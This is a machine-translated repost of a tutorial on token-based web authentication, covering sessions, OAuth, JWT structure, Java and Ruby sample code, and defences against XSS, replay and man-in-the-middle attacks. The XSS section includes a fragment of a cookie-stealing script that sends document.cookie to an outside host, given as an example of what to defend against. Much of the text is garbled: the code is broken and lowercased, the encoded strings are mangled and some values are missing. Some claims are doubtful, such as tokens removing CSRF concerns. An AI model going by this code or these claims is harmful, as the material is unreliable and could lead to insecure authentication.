Token-based web background authentication mechanism

Source: Internet
Author: User
Tags compact oauth printable characters mitm attack

Token-based knowledge and understanding:

Learn about Token-based authentication recently and share it with everyone. Many large web sites are also used, such as Facebook,twitter,google+,github, and so on, compared to traditional authentication methods, Token is more extensible and more secure, it is very suitable for use in WEB applications or mobile applications. Token of the Chinese people translated into a "token", I think very good, meaning that you take this token, to get through some levels.

traditional methods of authentication :

HTTP is a stateless protocol, meaning that it does not know who is accessing the app. Here we regard the user as the client, the client uses the username and password to pass the authentication, but the next time the client sends the request again, it has to be verified again.

The solution is that when the user requests to log in, if there is no problem, we generate a record on the server, this record can explain the user who logged in, and then send this record ID number to the client, the client receives the ID number stored in the Cookie, The next time the user sends a request to the server, it can take this cookie so that the server verifies the information in the cookie to see if it can find the corresponding record on the server, and if so, indicates that the user has passed the authentication and returns the user's requested data to the client.

This is the session, we need to store the server as a login user generated session, these sessions may be stored in memory, disk, or database. We may need to periodically clean out the expired Session on the server side.

the process of Token-based authentication method :

Using the Token-based authentication method, there is no need to store user login records on the server side. The approximate process is this:

    1. Client Login with password request with username

    2. The server receives the request to verify the user name and password

    3. After verification is successful, the server will issue a token and send the token to the client.

    4. The client receives the Token and can store it, such as in a Cookie or Local Storage (localstorage simple Syntax).

    5. The client needs tokens that are issued on the server each time it requests resources from the service side

    6. The server receives the request and then verifies the Token that is in the client request and returns the requested data to the client if the validation is successful

Note: Web Local Storage method Sessionstorage and Localstorage detailed

What is the benefit of the token mechanism in relation to the cookie mechanism? (token pros and cons)

  • support for cross-domain access : Cookies are not allowed to fall into the domain, this does not exist for the token mechanism, provided that the transmission of user authentication information through the HTTP header transmission.

  • stateless (also known as: Server-side extensible line): The token mechanism does not need to store session information on the server because token itself contains information about all logged-in users, only the cookie on the client or the local media store state information.

  • more suitable for CDN: You can request all the information on your server through the content distribution network (such as: javascript,html, pictures, etc.), and your server only provide the API.

  • decoupling : There is no need to bind to a specific authentication scheme. Tokens can be generated anywhere, as long as your API is called, and you can make token generation calls.

  • more suitable for mobile apps : When your client is a native platform (IOS, android,windows 8, etc.), cookies are not supported (you need to handle them through a cookie container), and it is much easier to use the token authentication mechanism.

  • CSRF: Because you no longer rely on cookies, you don't have to think about CSRF (cross-site request forgery).

  • Performance : One network round trip time (querying session information through a database) is always much longer than doing token validation and parsing of HMACSHA256 calculations.

  • no special handling is required for the login page : If you use Protractor to do functional testing, you no longer need to do special processing for the login page.

  • based on Standardization : Your API can use a standardized JSON Web Token (JWT). This standard already has multiple back-end libraries (. NET, Ruby, Java,python, PHP) and several company support (e.g. Firebase,google, Microsoft).

Several common authentication mechanisms:

HTTP Basic Auth

The HTTP basic Auth simple point description is to provide the user's username and password each time the API is requested, in short, Basic auth is the simplest authentication method to use with the restful API, just provide a username and password, However, due to the risk of exposing usernames and passwords to third-party clients, there is a growing use in the production environment. Therefore, when developing a restful API that is open to the outside, try to avoid using HTTP Basic Auth


OAuth (Open Licensing) is an open licensing standard that allows a third-party app to access private resources (such as photos, videos, contact lists) that the user stores on a Web service without having to provide a user name and password to third-party apps.

OAuth allows users to provide a token instead of a user name and password to access their data stored in a particular service provider. Each token authorizes a specific third-party system (for example, a video editing site) to access a specific resource (for example, a video in only one album) within a specific period of time (for example, within the next 2 hours). In this way, OAuth allows users to authorize third-party websites to access certain information that they store in other service providers, rather than all content
The following is the OAuth2.0 process:

This OAuth-based authentication mechanism applies to personal consumer-class Internet products such as social apps, but is not suitable for enterprise applications with proprietary authentication rights management;

Cookie Auth

The cookie authentication mechanism is to create a session object on the server for a request authentication, and a cookie object is created on the client's browser side, and the cookie object is brought up by the client to match the session object in the terminal to implement state management. By default, cookies are deleted when we close the browser. However, you can make the cookie valid for a certain period by modifying the expire time of the cookie;

Token Auth

the token authentication mechanism based on JWT is implemented:

There are a lot of ways to implement Token validation, and there are some standard methods, such as JWT, read: Jot, which means: JSON Web Tokens. The JWT standard Token has three parts:

    • Header (head)

    • Payload (load)

    • Signature (signature)

The JSON Web Token (JWT) is a very lightweight specification. This specification allows us to use JWT to deliver secure and reliable information between the user and the server.

The composition of the JWT

Load (Payload)

{"ISS": "Online JWT Builder", "IAT": 1416797419, "exp": 1448333419, "AUD": "", "Sub": "[Email prot Ected] "," GivenName ":" Johnny "," Surname ":" Rocket "," email ":" [email protected] "," Role ": [" manager "," Project A Dministrator "]}
    • ISS: The issuer of the JWT, whether the use is optional;

    • Sub: The user to which the JWT is intended to use is optional;

    • AUD: Whether the party receiving the JWT is used is optional;

    • EXP (expires): When expires, here is a Unix timestamp, whether the use is optional;

    • IAT (issued at): When issued (Unix time), whether the use is optional;
      Others are:

    • NBF (not before): If the current time is before the time in NBF, then token is not accepted, usually leaving some leeway, such as a few minutes, whether the use is optional;

The JSON object above is [base64 encoded] to get the following string. This string we call it the payload (load) of the JWT.

Eyjpc3mioijkb2huifd1iepxvcisimlhdci6mtq0mtu5mzuwmiwizxhwijoxndqxntk0nziylcjhdwqioij3d3cuzxhhbxbszs5jb20ilcjzdwiioijqcm9ja 2v0qgv4yw1wbguuy29tiiwiznjvbv91c2vyijoiqiisinrhcmdldf91c2vyijoiqsj9

Tip: Base64 is a representation of binary data based on 64 printable characters. Since 2 of the 6 is equal to 64, every 6 bits is a unit, corresponding to a printable character. Three bytes have 24 bits, corresponding to 4 Base64 units, 3 bytes need to be represented by 4 printable characters. The JDK provides very handy Base64encoder and Base64decoder, which makes it easy to complete BASE64-based encoding and decoding

Head (header)
JWT also requires a head, which is used to describe the most basic information about the JWT, such as its type and the algorithm used to sign it. This can also be represented as a JSON object.

{"Typ": "JWT", "ALG": "HS256"}

The signature algorithm in the head indicates the HS256 algorithm.
Of course the head is also BASE64 encoded, the encoded string is as follows:


Signature (Signature)
Use a period for the two encoded strings above. Connected together (head in front), formed:


Finally, we encrypt the string above the concatenation with the HS256 algorithm. In the encryption, we also need to provide a key (secret). If we use Mystar as the key, then we can get our encrypted content:


Finally, this part of the signature is also stitched behind the signed string, and we get the full JWT:

EyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7I Tqpkvim

This string of JWT strings will be taken in our request URL: EyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7I Tqpkvim

Certification process

Let's look at an example of how to use the JWT mechanism for authentication:

    • First authentication: The first login, the user input user name/password from the browser, submitted to the server after the login processing action layer (login action);

    • Login action invokes authentication service for username and password authentication, if authentication is passed, login action layer invokes user information service to obtain user information (including complete user information and corresponding permission information);

    • After returning the user information, Login action obtains the secret key information generated from the token signature from the configuration file for token generation;

    • The third-party JWT Lib can be called to generate the signed JWT data during token generation;

    • After the JWT data signature is completed, it is set to the cookie object and redirected to the homepage to complete the login process;

Request Authentication

Token-based authentication mechanisms carry the token information that is signed on each request, and this token information may be in the cookie
may also be in the authorization header of HTTP;

    • The client (app client or browser) accesses the resource (page or call API) through a GET or POST request;

    • The authentication service intercepts the request as a middleware HOOK, first finds the token information in the cookie, and if not found, finds it in the HTTP Authorization head;

    • If the token information is found, the token information is decrypted and decoded by calling JWT Lib according to the signature encryption key in the configuration file.

    • After completing the decoding and verifying the signature, the EXP, NBF, AUD and other information in token are verified.

    • After all, according to the access information of the user's role, the logical judgment of the permission of the requested resource;

    • If the permission logic is passed then the response object is returned; otherwise, HTTP 401 is returned;

Five Points of token certification:

There are 5 points of direct attention to the token authentication mechanism:

    • A token is a collection of information;

    • Include enough information in token to reduce the chance of querying the database in subsequent requests;

    • The server needs to check the token information of the cookie and HTTP authrorization header;

    • Based on the previous point, you can use a set of token authentication code to face the browser class client and non-browser class client;

    • Because token is signed, we can assume that a token that can be decoded is issued by our system, and that the information contained therein is lawful and valid;

the Java implementation of JWT

Support for JWT in Java can be considered using the JJWT open Source Library; JJWT implements the JWT, JWS, JWE, and JWA RFC specifications; Here's a simple example of how it's used:
Generate token Code

import javax.crypto.spec.secretkeyspec;import javax.xml.bind.datatypeconverter;import;import io.jsonwebtoken.*;import;     // SAMPLE METHOD TO CONSTRUCT A JWT PRIVATE STRING CREATEJWT (String  Id, string issuer, string subject, long ttlmillis)  { //The JWT  signature algorithm we will be using to sign the  Tokensignaturealgorithm signaturealgorithm = signaturealgorithm.hs256; long nowmillis  = system.currenttimemillis ();D ate now = new date (NowMillis); //We  will sign our jwt with our apikey secretbyte[] apikeysecretbytes  = datatypeconverter.parsebase64binary (Apikey.getsecret ()); Key signingkey = new secretkeyspec (Apikeysecretbytes, signatUrealgorithm.getjcaname ());    //let ' s set the jwt claimsjwtbuilder  Builder = jwts.builder (). SetId (ID)                                   .setissuedat (now)                                   .setsubject (subject)                                   .setissuer (issuer)                                  . Signwith (SignaturealgoritHm, signingkey);  //if it has been specified, let ' s add the  expirationif  (ttlmillis >= 0)  {    long expMillis =  Nowmillis + ttlmillis;    date exp = new date (ExpMillis);     builder.setexpiration (exp);}  //builds the jwt and serializes it to a compact, url-safe  stringreturn builder.compact ();}

Decoding and validating token codes

Import Javax.xml.bind.datatypeconverter;import Io.jsonwebtoken.jwts;import io.jsonwebtoken.Claims; Sample method to validate and read the Jwtprivate void Parsejwt (String jwt) {//this line would throw an exception if it I s not a signed JWS (as expected) Claims Claims = Jwts.parser (). Setsigningkey (datatypeconverter.parsebase64binary   (Apikey.getsecret ())) . PARSECLAIMSJWS (JWT). GetBody (); System.out.println ("ID:" + Claims.getid ()); System.out.println ("Subject:" + claims.getsubject ()); System.out.println ("Issuer:" + claims.getissuer ()); SYSTEM.OUT.PRINTLN ("Expiration:" + claims.getexpiration ());}
the security problem of token authentication based on JWTensure the security of the verification process

How to ensure the security of the user name/password verification process, because during the verification process, users are required to enter a user name and password, in this process, the user name, password and other sensitive information needs to be transmitted over the network. Therefore, it is recommended to use HTTPS in this process to encrypt the transmission over SSL to ensure the security of the channel.

how to prevent XSS Attacks

Browsers can do a lot of things, which also brings many hidden dangers to the security of the browser, the most common such as: XSS attack: Cross Site Scripting Attack (Scripting), if there is a page in the input box to allow the input of any information, and do not take precautions, if we enter the following code:

 a.src= ' ' +document.cookie;return A} ()) "

This code will steal all the cookie information from your domain and send it to, so how do we protect against this attack?

    • XSS attack code filtering
      Remove any code that would cause the browser to do unintended execution, This can be implemented by some libraries (such as: JS under the Js-xss,java under the XSS htmlfilter,php under the twig); If you are storing user-submitted strings in a database (also for SQL injection attacks), you need to filter on the front-end and server-side respectively;

    • take http-only cookies
      by setting the parameters of the cookie: httponly; Secure to prevent access to cookies through JavaScript;
      How to set cookies in Java is HttpOnly? The
      Servlet 2.5 API does not support cookie settings HttpOnly
      Http:// /SERVLET-2_5-MR2/
      recommends upgrading Tomcat7.0, which has already implemented the Servlet3.0 Javax/servlet/http/cookie.html
      or set it by:

Set Cookieresponse.addheader ("Set-cookie", "uid=112; path=/; HttpOnly ");//Set multiple Cookieresponse.addheader (" Set-cookie "," uid=112; path=/; HttpOnly "); Response.AddHeader (" Set-cookie "," TIMEOUT=30; Path=/test; HttpOnly ");//Set HTTPS Cookieresponse.addheader (" Set-cookie "," uid=112; path=/; Secure; HttpOnly ");

In actual use, we can make firecookie to see if the cookie we set is HttpOnly;

How to prevent replay Attacks

The so-called replay attack is an attacker sends a destination host has received packets, to achieve the purpose of deception system, mainly for the identity authentication process. For example, in the browser side through the user name/password authentication to get signed tokens by Trojan theft. Even if the user logged out of the system, the hacker can still use the stolen token to simulate the normal request, and the server side is completely unaware that the JWT mechanism is stateless.
There are several common practices that can be used as a reference for this scenario:
1. Timestamp + shared secret key
For this scenario, both the client and the server need to know:

    • User ID

    • Shared secret key


Auth_header = Jwt.encode ({user_id:123,, # Specify token release time + 2 # Specify token expiry time is After 2 seconds, 2 seconds is sufficient for an HTTP request, at the same time ensuring that the last token expires, reducing the probability of replay attack;}, "<my shared secret>") Restclient.get ("http://", Authorization:auth_header)

Service side

class apicontroller < actioncontroller::base  attr_reader :current_user   before_action :set_current_user_from_jwt_token  def set_current_user_from_jwt_token     # step 1: Decode JWT and get user id, this time do not check token signature     #  the signature. Note JWT tokens are *not* encrypted, but  Signed.    payload = jwt.decode (Request.authorization, nil, false)     # Step 2:  Check if the user exists in the database      @current_user  =  user.find (payload[' user_id '))         # Step 3:  Check that the token signature is correct.     jwt.decode (Request.authorization, current_user.api_secret)          # Step 4:  Check   IAT   and exp   To ensure that the token was created within 2 seconds.      now =    if payload[' IAT '] > now | |  payload[' Exp '] < now      #  returns if expired 401    &NBSP;END&NBSP;&NBSP;RESCUE&NBSP;JWT::D ecodeerror    #  return  401  endend

2, timestamp + shared secret key + blacklist (similar to Zendesk's practice)

Auth_header = Jwt.encode ({user_id:123, Jti:rand (2 <<). to_s, # Make sure a token is used only once to prevent replace JTI attack, # Specifies the token release time. + 2 # Specify token expiration time is 2 seconds later}, "<my shared secret>") Restclient.get ("", Authori Zation:auth_header)

Service side

def set_current_user_from_jwt_token  #  The previous steps refer to the above   payload = jwt.decode (request.authorization, nil, false)    @current_user  = user.find (payload[' user_id ' ])   jwt.decode (Request.authorization, current_user.api_secret)   now =  if payload[' IAT '] > now | |  payload[' exp '] < now    #  return 401  end     #  below will check to make sure this JWT has not been used before   #  using Redis atomic operations     # the redis   Key: <user id>:<one-time use token>  key =  "#{payload [' user_id ']}:#{payload[' JTI '} '     #  see if the key value is already present in the Redis .  if it does not exist then return if it exists "1".  .  if redis.getset (key,  "1")     #  return 401     #   end    #  Check for key-value expiration   redis.expireat (key, payload[' exp '] + 2) end 
How to prevent MITM (man-in-the-middle) Attacks

The so-called MITM attack, is the client and server side of the interaction process is monitored, such as internet cafes like the wifi is monitored or hacked proxy server, etc.;
The use of HTTPS for this type of attack, including for distributed applications, also uses HTTPS to transfer sensitive information such as cookies between services, so cloud computing is inherently unsafe.

Reference: Php-token Verifying beginner token recognition

Token-based web background authentication mechanism

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.